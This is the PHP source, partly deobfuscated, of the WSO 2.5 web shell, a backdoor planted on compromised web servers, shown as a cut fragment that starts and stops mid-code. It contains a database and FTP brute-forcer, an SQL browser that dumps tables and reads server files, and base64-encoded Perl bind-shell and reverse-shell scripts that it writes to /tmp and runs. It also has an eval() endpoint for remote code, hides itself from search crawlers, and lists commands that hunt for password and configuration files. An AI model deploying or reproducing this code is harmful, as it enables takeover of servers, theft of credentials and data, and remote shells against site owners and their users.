'<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'\n\r\t\t.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'\n\r\t\t.'<input type=hidden name=c value=\"'.htmlspecialchars(\$GLOBALS['cwd']).'\">'\n\r\t\t.'<input type=hidden name=a value=\"'.htmlspecialchars(\$_POST['a']).'\">'\n\r\t\t.'<input type=hidden name=charset value=\"'.htmlspecialchars(\$_POST['charset']).'\">'\n\r\t\t.'<span>Server:port</span></td>'\n\r\t\t.'<td><input type=text name=server value=\"127.0.0.1\"></td></tr>'\n\r\t\t.'<tr><td><span>Brute type</span></td>'\n\r\t\t.'<td><label><input type=radio name=type value=\"1\" checked> /etc/passwd</label></td></tr>'\n\r\t\t.'<tr><td></td><td><label style=\"padding-left:15px\"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'\n\r\t\t.'<tr><td></td><td><label><input type=radio name=type value=\"2\"> Dictionary</label></td></tr>'\n\r\t\t.'<tr><td></td><td><table style=\"padding-left:15px\"><tr><td><span>Login</span></td>'\n\r\t\t.'<td><input type=text name=login value=\"root\"></td></tr>'\n\r\t\t.'<tr><td><span>Dictionary</span></td>'\n\r\t\t.'<td><input type=text name=dict value=\"'.htmlspecialchars(\$GLOBALS['cwd']).'passwd.dic\"></td></tr></table>'\n\r\t\t.'</td></tr><tr><td></td><td><input type=submit value=\">>\"></td></tr></form></table>';\n\r\techo '</div><br>';\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionSql() {\n\r\tclass DbClass {\n\r\t\tvar \$type;\n\r\t\tvar \$link;\n\r\t\tvar \$res;\n\r\t\tfunction DbClass(\$type)\t{\n\r\t\t\t\$this->type = \$type;\n\r\t\t}\n\r\t\tfunction connect(\$host, \$user, \$pass, \$dbname){\n\r\t\t\tswitch(\$this->type)\t{\n\r\t\t\t\tcase 'mysql':\n\r\t\t\t\t\tif( \$this->link = @mysql_connect(\$host,\$user,\$pass,true) ) return true;\n\r\t\t\t\t\tbreak;\n\r\t\t\t\tcase 'pgsql':\n\r\t\t\t\t\t\$host = explode(':', \$host);\n\r\t\t\t\t\tif(!\$host[1]) \$host[1]=5432;\n\r\t\t\t\t\tif( \$this->link = @pg_connect(\"host={\$host[0]} port={\$host[1]} user=\$user password=\$pass dbname=\$dbname\") ) return true;\n\r\t\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction selectdb(\$db) {\n\r\t\t\tswitch(\$this->type)\t{\n\r\t\t\t\tcase 'mysql':\n\r\t\t\t\t\tif (@mysql_select_db(\$db))return true;\n\r\t\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction query(\$str) {\n\r\t\t\tswitch(\$this->type) {\n\r\t\t\t\tcase 'mysql':\n\r\t\t\t\t\treturn \$this->res = @mysql_query(\$str);\n\r\t\t\t\t\tbreak;\n\r\t\t\t\tcase 'pgsql':\n\r\t\t\t\t\treturn \$this->res = @pg_query(\$this->link,\$str);\n\r\t\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction fetch() {\n\r\t\t\t\$res = func_num_args()?func_get_arg(0):\$this->res;\n\r\t\t\tswitch(\$this->type)\t{\n\r\t\t\t\tcase 'mysql':\n\r\t\t\t\t\treturn @mysql_fetch_assoc(\$res);\n\r\t\t\t\t\tbreak;\n\r\t\t\t\tcase 'pgsql':\n\r\t\t\t\t\treturn @pg_fetch_assoc(\$res);\n\r\t\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction listDbs() {\n\r\t\t\tswitch(\$this->type)\t{\n\r\t\t\t\tcase 'mysql':\n\r return \$this->query(\"SHOW databases\");\n\r\t\t\t\tbreak;\n\r\t\t\t\tcase 'pgsql':\n\r\t\t\t\t\treturn \$this->res = \$this->query(\"SELECT datname FROM pg_database WHERE datistemplate!='t'\");\n\r\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction listTables() {\n\r\t\t\tswitch(\$this->type)\t{\n\r\t\t\t\tcase 'mysql':\n\r\t\t\t\t\treturn \$this->res = \$this->query('SHOW TABLES');\n\r\t\t\t\tbreak;\n\r\t\t\t\tcase 'pgsql':\n\r\t\t\t\t\treturn \$this->res = \$this->query(\"select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'\");\n\r\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction error() {\n\r\t\t\tswitch(\$this->type)\t{\n\r\t\t\t\tcase 'mysql':\n\r\t\t\t\t\treturn @mysql_error();\n\r\t\t\t\tbreak;\n\r\t\t\t\tcase 'pgsql':\n\r\t\t\t\t\treturn @pg_last_error();\n\r\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction setCharset(\$str) {\n\r\t\t\tswitch(\$this->type)\t{\n\r\t\t\t\tcase 'mysql':\n\r\t\t\t\t\tif(function_exists('mysql_set_charset'))\n\r\t\t\t\t\t\treturn @mysql_set_charset(\$str, \$this->link);\n\r\t\t\t\t\telse\n\r\t\t\t\t\t\t\$this->query('SET CHARSET '.\$str);\n\r\t\t\t\t\tbreak;\n\r\t\t\t\tcase 'pgsql':\n\r\t\t\t\t\treturn @pg_set_client_encoding(\$this->link, \$str);\n\r\t\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction loadFile(\$str) {\n\r\t\t\tswitch(\$this->type)\t{\n\r\t\t\t\tcase 'mysql':\n\r\t\t\t\t\treturn \$this->fetch(\$this->query(\"SELECT LOAD_FILE('\".addslashes(\$str).\"') as file\"));\n\r\t\t\t\tbreak;\n\r\t\t\t\tcase 'pgsql':\n\r\t\t\t\t\t\$this->query(\"CREATE TABLE wso2(file text);COPY wso2 FROM '\".addslashes(\$str).\"';select file from wso2;\");\n\r\t\t\t\t\t\$r=array();\n\r\t\t\t\t\twhile(\$i=\$this->fetch())\n\r\t\t\t\t\t\t\$r[] = \$i['file'];\n\r\t\t\t\t\t\$this->query('drop table wso2');\n\r\t\t\t\t\treturn array('file'=>implode(\"\\n\",\$r));\n\r\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction dump(\$table, \$fp = false) {\n\r\t\t\tswitch(\$this->type)\t{\n\r\t\t\t\tcase 'mysql':\n\r\t\t\t\t\t\$res = \$this->query('SHOW CREATE TABLE `'.\$table.'`');\n\r\t\t\t\t\t\$create = mysql_fetch_array(\$res);\n\r\t\t\t\t\t\$sql = \$create[1].\";\\n\";\n\r if(\$fp) fwrite(\$fp, \$sql); else echo(\$sql);\n\r\t\t\t\t\t\$this->query('SELECT * FROM `'.\$table.'`');\n\r \$i = 0;\n\r \$head = true;\n\r\t\t\t\t\twhile(\$item = \$this->fetch()) {\n\r \$sql = '';\n\r if(\$i % 1000 == 0) {\n\r \$head = true;\n\r \$sql = \";\\n\\n\";\n\r }\n\r\n\r\t\t\t\t\t\t\$columns = array();\n\r\t\t\t\t\t\tforeach(\$item as \$k=>\$v) {\n\r if(\$v === null)\n\r \$item[\$k] = \"NULL\";\n\r elseif(is_int(\$v))\n\r \$item[\$k] = \$v;\n\r else\n\r \$item[\$k] = \"'\".@mysql_real_escape_string(\$v).\"'\";\n\r\t\t\t\t\t\t\t\$columns[] = \"`\".\$k.\"`\";\n\r\t\t\t\t\t\t}\n\r if(\$head) {\n\r \$sql .= 'INSERT INTO `'.\$table.'` ('.implode(\", \", \$columns).\") VALUES \\n\\t(\".implode(\", \", \$item).')';\n\r \$head = false;\n\r } else\n\r \$sql .= \"\\n\\t,(\".implode(\", \", \$item).')';\n\r if(\$fp) fwrite(\$fp, \$sql); else echo(\$sql);\n\r \$i++;\n\r\t\t\t\t\t}\n\r if(!\$head)\n\r if(\$fp) fwrite(\$fp, \";\\n\\n\"); else echo(\";\\n\\n\");\n\r\t\t\t\tbreak;\n\r\t\t\t\tcase 'pgsql':\n\r\t\t\t\t\t\$this->query('SELECT * FROM '.\$table);\n\r\t\t\t\t\twhile(\$item = \$this->fetch()) {\n\r\t\t\t\t\t\t\$columns = array();\n\r\t\t\t\t\t\tforeach(\$item as \$k=>\$v) {\n\r\t\t\t\t\t\t\t\$item[\$k] = \"'\".addslashes(\$v).\"'\";\n\r\t\t\t\t\t\t\t\$columns[] = \$k;\n\r\t\t\t\t\t\t}\n\r \$sql = 'INSERT INTO '.\$table.' ('.implode(\", \", \$columns).') VALUES ('.implode(\", \", \$item).');'.\"\\n\";\n\r if(\$fp) fwrite(\$fp, \$sql); else echo(\$sql);\n\r\t\t\t\t\t}\n\r\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t};\n\r\t\$db = new DbClass(\$_POST['type']);\n\r\tif((@\$_POST['p2']=='download') && (@\$_POST['p1']!='select')) {\n\r\t\t\$db->connect(\$_POST['sql_host'], \$_POST['sql_login'], \$_POST['sql_pass'], \$_POST['sql_base']);\n\r\t\t\$db->selectdb(\$_POST['sql_base']);\n\r switch(\$_POST['charset']) {\n\r case \"Windows-1251\": \$db->setCharset('cp1251'); break;\n\r case \"UTF-8\": \$db->setCharset('utf8'); break;\n\r case \"KOI8-R\": \$db->setCharset('koi8r'); break;\n\r case \"KOI8-U\": \$db->setCharset('koi8u'); break;\n\r case \"cp866\": \$db->setCharset('cp866'); break;\n\r }\n\r if(empty(\$_POST['file'])) {\n\r ob_start(\"ob_gzhandler\", 4096);\n\r header(\"Content-Disposition: attachment; filename=dump.sql\");\n\r header(\"Content-Type: text/plain\");\n\r foreach(\$_POST['tbl'] as \$v)\n\r\t\t\t\t\$db->dump(\$v);\n\r exit;\n\r } elseif(\$fp = @fopen(\$_POST['file'], 'w')) {\n\r foreach(\$_POST['tbl'] as \$v)\n\r \$db->dump(\$v, \$fp);\n\r fclose(\$fp);\n\r unset(\$_POST['p2']);\n\r } else\n\r die('<script>alert(\"Error! Can\\'t open file\");window.history.back(-1)</script>');\n\r\t}\n\r\twsoHeader();\n\r\techo \"\n\r<h1>Sql browser</h1><div class=content>\n\r<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>\n\r<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n\r<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='\". htmlspecialchars(\$GLOBALS['cwd']) .\"'><input type=hidden name=charset value='\". (isset(\$_POST['charset'])?\$_POST['charset']:'') .\"'>\n\r<td><select name='type'><option value='mysql' \";\n\r if(@\$_POST['type']=='mysql')echo 'selected';\n\recho \">MySql</option><option value='pgsql' \";\n\rif(@\$_POST['type']=='pgsql')echo 'selected';\n\recho \">PostgreSql</option></select></td>\n\r<td><input type=text name=sql_host value=\\\"\". (empty(\$_POST['sql_host'])?'localhost':htmlspecialchars(\$_POST['sql_host'])) .\"\\\"></td>\n\r<td><input type=text name=sql_login value=\\\"\". (empty(\$_POST['sql_login'])?'root':htmlspecialchars(\$_POST['sql_login'])) .\"\\\"></td>\n\r<td><input type=text name=sql_pass value=\\\"\". (empty(\$_POST['sql_pass'])?'':htmlspecialchars(\$_POST['sql_pass'])) .\"\\\"></td><td>\";\n\r\t\$tmp = \"<input type=text name=sql_base value=''>\";\n\r\tif(isset(\$_POST['sql_host'])){\n\r\t\tif(\$db->connect(\$_POST['sql_host'], \$_POST['sql_login'], \$_POST['sql_pass'], \$_POST['sql_base'])) {\n\r\t\t\tswitch(\$_POST['charset']) {\n\r\t\t\t\tcase \"Windows-1251\": \$db->setCharset('cp1251'); break;\n\r\t\t\t\tcase \"UTF-8\": \$db->setCharset('utf8'); break;\n\r\t\t\t\tcase \"KOI8-R\": \$db->setCharset('koi8r'); break;\n\r\t\t\t\tcase \"KOI8-U\": \$db->setCharset('koi8u'); break;\n\r\t\t\t\tcase \"cp866\": \$db->setCharset('cp866'); break;\n\r\t\t\t}\n\r\t\t\t\$db->listDbs();\n\r\t\t\techo \"<select name=sql_base><option value=''></option>\";\n\r\t\t\twhile(\$item = \$db->fetch()) {\n\r\t\t\t\tlist(\$key, \$value) = each(\$item);\n\r\t\t\t\techo '<option value=\"'.\$value.'\" '.(\$value==\$_POST['sql_base']?'selected':'').'>'.\$value.'</option>';\n\r\t\t\t}\n\r\t\t\techo '</select>';\n\r\t\t}\n\r\t\telse echo \$tmp;\n\r\t}else\n\r\t\techo \$tmp;\n\r\techo \"</td>\n\r\t\t\t\t<td><input type=submit value='>>' onclick='fs(d.sf);'></td>\n\r <td><input type=checkbox name=sql_count value='on'\" . (empty(\$_POST['sql_count'])?'':' checked') . \"> count the number of rows</td>\n\r\t\t\t</tr>\n\r\t\t</table>\n\r\t\t<script>\n\r s_db='\".@addslashes(\$_POST['sql_base']).\"';\n\r function fs(f) {\n\r if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n\r if(f.p1) f.p1.value='';\n\r if(f.p2) f.p2.value='';\n\r if(f.p3) f.p3.value='';\n\r }\n\r }\n\r\t\t\tfunction st(t,l) {\n\r\t\t\t\td.sf.p1.value = 'select';\n\r\t\t\t\td.sf.p2.value = t;\n\r if(l && d.sf.p3) d.sf.p3.value = l;\n\r\t\t\t\td.sf.submit();\n\r\t\t\t}\n\r\t\t\tfunction is() {\n\r\t\t\t\tfor(i=0;i<d.sf.elements['tbl[]'].length;++i)\n\r\t\t\t\t\td.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\n\r\t\t\t}\n\r\t\t</script>\";\n\r\tif(isset(\$db) && \$db->link){\n\r\t\techo \"<br/><table width=100% cellpadding=2 cellspacing=0>\";\n\r\t\t\tif(!empty(\$_POST['sql_base'])){\n\r\t\t\t\t\$db->selectdb(\$_POST['sql_base']);\n\r\t\t\t\techo \"<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>\";\n\r\t\t\t\t\$tbls_res = \$db->listTables();\n\r\t\t\t\twhile(\$item = \$db->fetch(\$tbls_res)) {\n\r\t\t\t\t\tlist(\$key, \$value) = each(\$item);\n\r if(!empty(\$_POST['sql_count']))\n\r \$n = \$db->fetch(\$db->query('SELECT COUNT(*) as n FROM '.\$value.''));\n\r\t\t\t\t\t\$value = htmlspecialchars(\$value);\n\r\t\t\t\t\techo \"<nobr><input type='checkbox' name='tbl[]' value='\".\$value.\"'> <a href=# onclick=\\\"st('\".\$value.\"',1)\\\">\".\$value.\"</a>\" . (empty(\$_POST['sql_count'])?' ':\" <small>({\$n['n']})</small>\") . \"</nobr><br>\";\n\r\t\t\t\t}\n\r\t\t\t\techo \"<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\\\"download\\\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>\";\n\r\t\t\t\tif(@\$_POST['p1'] == 'select') {\n\r\t\t\t\t\t\$_POST['p1'] = 'query';\n\r \$_POST['p3'] = \$_POST['p3']?\$_POST['p3']:1;\n\r\t\t\t\t\t\$db->query('SELECT COUNT(*) as n FROM ' . \$_POST['p2']);\n\r\t\t\t\t\t\$num = \$db->fetch();\n\r\t\t\t\t\t\$pages = ceil(\$num['n'] / 30);\n\r echo \"<script>d.sf.onsubmit=function(){st(\\\"\" . \$_POST['p2'] . \"\\\", d.sf.p3.value)}</script><span>\".\$_POST['p2'].\"</span> ({\$num['n']} records) Page # <input type=text name='p3' value=\" . ((int)\$_POST['p3']) . \">\";\n\r echo \" of \$pages\";\n\r if(\$_POST['p3'] > 1)\n\r echo \" <a href=# onclick='st(\\\"\" . \$_POST['p2'] . '\", ' . (\$_POST['p3']-1) . \")'>< Prev</a>\";\n\r if(\$_POST['p3'] < \$pages)\n\r echo \" <a href=# onclick='st(\\\"\" . \$_POST['p2'] . '\", ' . (\$_POST['p3']+1) . \")'>Next ></a>\";\n\r \$_POST['p3']--;\n\r\t\t\t\t\tif(\$_POST['type']=='pgsql')\n\r\t\t\t\t\t\t\$_POST['p2'] = 'SELECT * FROM '.\$_POST['p2'].' LIMIT 30 OFFSET '.(\$_POST['p3']*30);\n\r\t\t\t\t\telse\n\r\t\t\t\t\t\t\$_POST['p2'] = 'SELECT * FROM `'.\$_POST['p2'].'` LIMIT '.(\$_POST['p3']*30).',30';\n\r\t\t\t\t\techo \"<br><br>\";\n\r\t\t\t\t}\n\r\t\t\t\tif((@\$_POST['p1'] == 'query') && !empty(\$_POST['p2'])) {\n\r\t\t\t\t\t\$db->query(@\$_POST['p2']);\n\r\t\t\t\t\tif(\$db->res !== false) {\n\r\t\t\t\t\t\t\$title = false;\n\r\t\t\t\t\t\techo '<table width=100% cellspacing=1 cellpadding=2 class=main style=\"background-color:#292929\">';\n\r\t\t\t\t\t\t\$line = 1;\n\r\t\t\t\t\t\twhile(\$item = \$db->fetch())\t{\n\r\t\t\t\t\t\t\tif(!\$title)\t{\n\r\t\t\t\t\t\t\t\techo '<tr>';\n\r\t\t\t\t\t\t\t\tforeach(\$item as \$key => \$value)\n\r\t\t\t\t\t\t\t\t\techo '<th>'.\$key.'</th>';\n\r\t\t\t\t\t\t\t\treset(\$item);\n\r\t\t\t\t\t\t\t\t\$title=true;\n\r\t\t\t\t\t\t\t\techo '</tr><tr>';\n\r\t\t\t\t\t\t\t\t\$line = 2;\n\r\t\t\t\t\t\t\t}\n\r\t\t\t\t\t\t\techo '<tr class=\"l'.\$line.'\">';\n\r\t\t\t\t\t\t\t\$line = \$line==1?2:1;\n\r\t\t\t\t\t\t\tforeach(\$item as \$key => \$value) {\n\r\t\t\t\t\t\t\t\tif(\$value == null)\n\r\t\t\t\t\t\t\t\t\techo '<td><i>null</i></td>';\n\r\t\t\t\t\t\t\t\telse\n\r\t\t\t\t\t\t\t\t\techo '<td>'.nl2br(htmlspecialchars(\$value)).'</td>';\n\r\t\t\t\t\t\t\t}\n\r\t\t\t\t\t\t\techo '</tr>';\n\r\t\t\t\t\t\t}\n\r\t\t\t\t\t\techo '</table>';\n\r\t\t\t\t\t} else {\n\r\t\t\t\t\t\techo '<div><b>Error:</b> '.htmlspecialchars(\$db->error()).'</div>';\n\r\t\t\t\t\t}\n\r\t\t\t\t}\n\r\t\t\t\techo \"<br></form><form onsubmit='d.sf.p1.value=\\\"query\\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>\";\n\r if(!empty(\$_POST['p2']) && (\$_POST['p1'] != 'loadfile'))\n\r echo htmlspecialchars(\$_POST['p2']);\n\r echo \"</textarea><br/><input type=submit value='Execute'>\";\n\r\t\t\t\techo \"</td></tr>\";\n\r\t\t\t}\n\r\t\t\techo \"</table></form><br/>\";\n\r if(\$_POST['type']=='mysql') {\n\r \$db->query(\"SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'\");\n\r if(\$db->fetch())\n\r echo \"<form onsubmit='d.sf.p1.value=\\\"loadfile\\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>\";\n\r }\n\r\t\t\tif(@\$_POST['p1'] == 'loadfile') {\n\r\t\t\t\t\$file = \$db->loadFile(\$_POST['p2']);\n\r\t\t\t\techo '<br/><pre class=ml1>'.htmlspecialchars(\$file['file']).'</pre>';\n\r\t\t\t}\n\r\t} else {\n\r echo htmlspecialchars(\$db->error());\n\r }\n\r\techo '</div>';\n\r\twsoFooter();\n\r}\n\rfunction actionNetwork() {\n\r\twsoHeader();\n\r\t\$back_connect_p=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7\";\n\r\t\$bind_port_p=\"IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=\";\n\r\techo \"<h1>Network tools</h1><div class=content>\n\r\t<form name='nfp' onSubmit=\\\"g(null,null,'bpp',this.port.value);return false;\\\">\n\r\t<span>Bind port to /bin/sh [perl]</span><br/>\n\r\tPort: <input type='text' name='port' value='31337'> <input type=submit value='>>'>\n\r\t</form>\n\r\t<form name='nfp' onSubmit=\\\"g(null,null,'bcp',this.server.value,this.port.value);return false;\\\">\n\r\t<span>Back-connect [perl]</span><br/>\n\r\tServer: <input type='text' name='server' value='\". \$_SERVER['REMOTE_ADDR'] .\"'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>\n\r\t</form><br>\";\n\r\tif(isset(\$_POST['p1'])) {\n\r\t\tfunction cf(\$f,\$t) {\n\r\t\t\t\$w = @fopen(\$f,\"w\") or @function_exists('file_put_contents');\n\r\t\t\tif(\$w){\n\r\t\t\t\t@fwrite(\$w,@base64_decode(\$t));\n\r\t\t\t\t@fclose(\$w);\n\r\t\t\t}\n\r\t\t}\n\r\t\tif(\$_POST['p1'] == 'bpp') {\n\r\t\t\tcf(\"/tmp/bp.pl\",\$bind_port_p);\n\r\t\t\t\$out = wsoEx(\"perl /tmp/bp.pl \".\$_POST['p2'].\" 1>/dev/null 2>&1 &\");\n\r sleep(1);\n\r\t\t\techo \"<pre class=ml1>\$out\\n\".wsoEx(\"ps aux | grep bp.pl\").\"</pre>\";\n\r unlink(\"/tmp/bp.pl\");\n\r\t\t}\n\r\t\tif(\$_POST['p1'] == 'bcp') {\n\r\t\t\tcf(\"/tmp/bc.pl\",\$back_connect_p);\n\r\t\t\t\$out = wsoEx(\"perl /tmp/bc.pl \".\$_POST['p2'].\" \".\$_POST['p3'].\" 1>/dev/null 2>&1 &\");\n\r sleep(1);\n\r\t\t\techo \"<pre class=ml1>\$out\\n\".wsoEx(\"ps aux | grep bc.pl\").\"</pre>\";\n\r unlink(\"/tmp/bc.pl\");\n\r\t\t}\n\r\t}\n\r\techo '</div>';\n\r\twsoFooter();\n\r}\n\rfunction actionRC() {\n\r\tif(!@\$_POST['p1']) {\n\r\t\t\$a = array(\n\r\t\t\t\"uname\" => php_uname(),\n\r\t\t\t\"php_version\" => phpversion(),\n\r\t\t\t\"wso_version\" => WSO_VERSION,\n\r\t\t\t\"safemode\" => @ini_get('safe_mode')\n\r\t\t);\n\r\t\techo serialize(\$a);\n\r\t} else {\n\r\t\teval(\$_POST['p1']);\n\r\t}\n\r}\n\rif( empty(\$_POST['a']) )\n\r\tif(isset(\$default_action) && function_exists('action' . \$default_action))\n\r\t\t\$_POST['a'] = \$default_action;\n\r\telse\n\r\t\t\$_POST['a'] = 'SecInfo';\n\rif( !empty(\$_POST['a']) && function_exists('action' . \$_POST['a']) )\n\r\tcall_user_func('action' . \$_POST['a']);\n\rexit;";
@eval /* PHPDeobfuscator eval output */ {
$auth_pass = "";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@define('WSO_VERSION', '2.5');
if (get_magic_quotes_gpc()) {
function WSOstripslashes($array)
{
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin()
{
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
function WSOsetcookie($k, $v)
{
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if (!empty($auth_pass)) {
if (isset($_POST['pass']) && md5($_POST['pass']) == $auth_pass) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || $_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass) {
wsoLogin();
}
}
if (strtolower("PHP") == "win") {
$os = 'win';
} else {
$os = 'nix';
}
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode) {
error_reporting(0);
}
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if (isset($_POST['c'])) {
@chdir($_POST['c']);
}
$cwd = @getcwd();
if ($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if ($cwd[strlen($cwd) - 1] != '/') {
$cwd .= '/';
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $default_use_ajax;
}
if ($os == 'win') {
$aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
} else {
$aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate 